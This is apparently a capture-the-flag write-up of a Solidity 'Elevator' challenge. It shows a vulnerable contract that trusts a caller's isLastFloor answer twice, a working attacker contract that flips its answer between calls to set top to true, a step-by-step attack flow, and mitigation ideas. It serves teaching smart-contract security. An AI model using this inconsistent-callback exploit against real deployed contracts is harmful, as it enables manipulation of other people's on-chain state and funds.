Elevator — “Fool the Lift”
Description
This elevator won’t let you reach the top floor… unless you can trick it.
The Elevator contract relies on an external Building to tell it whether a floor is the last one. It asks twice and assumes the answer won’t change. Your goal is to exploit that assumption so the elevator sets top = true.
Things that might help:
- Sometimes Solidity is not good at keeping promises.
- This Elevator expects to be used from a
Building.
Code
Below is the code the player receives.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
What to notice
-
Elevator.goTotrusts the caller (msg.sender) to implementBuilding. -
It calls
isLastFloortwice:- First to decide whether to enter the
if. - Second to set
top.
- First to decide whether to enter the
-
If those two answers differ (first
false, thentrue),topbecomestrue.
Goal
- Set
Elevator.top()totrue.
Attacker Contract (Solution)
We’ll implement Building in a malicious contract that flips its answer between calls.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
contract Attack is Building {
Elevator public target;
bool private toggle;
constructor(address _elevator) {
target = Elevator(_elevator);
toggle = true; // we'll flip this on each call
}
function attack(uint256 _floor) public {
// We call the victim; inside it will call back to our isLastFloor twice
target.goTo(_floor);
}
// The trick: return false the first time, true the second time.
function isLastFloor(uint256) external override returns (bool) {
toggle = !toggle;
return toggle;
}
}
Step-by-Step Attack Flow
-
Deploy
Elevator. Keep its address handy (e.g.,0x...Elevator). -
Deploy
Attackwith theElevatoraddress in the constructor. -
Trigger the exploit: call
Attack.attack(42)(any floor number works). -
Call sequence under the hood:
-
Attack.attack→Elevator.goTo(42) -
Inside
goTo,Elevatortreatsmsg.senderasBuilding→ callsAttack.isLastFloor(42)- First call:
toggleflips fromtrue→false; returnsfalse if (!false)istrue, so it enters the block and setsfloor = 42
- First call:
-
Then
ElevatorcallsAttack.isLastFloor(42)again- Second call:
toggleflips fromfalse→true; returnstrue top = true
- Second call:
-
-
Check success:
Elevator.top()now returnstrue.
Why This Works (in simple terms)
The victim contract assumes an external function will give the same answer each time. But external calls are untrusted and can depend on mutable state. By returning a different value on the second call, we steer the elevator into setting top = true.
Mitigation Ideas
-
Call
isLastFlooronce, store the result, and reuse it:bool last = building.isLastFloor(_floor);
if (!last) {
floor = _floor;
top = last; // still false
} -
Avoid relying on untrusted external contracts for security-critical checks.
-
Prefer internal invariants or whitelisting trusted
Buildingimplementations.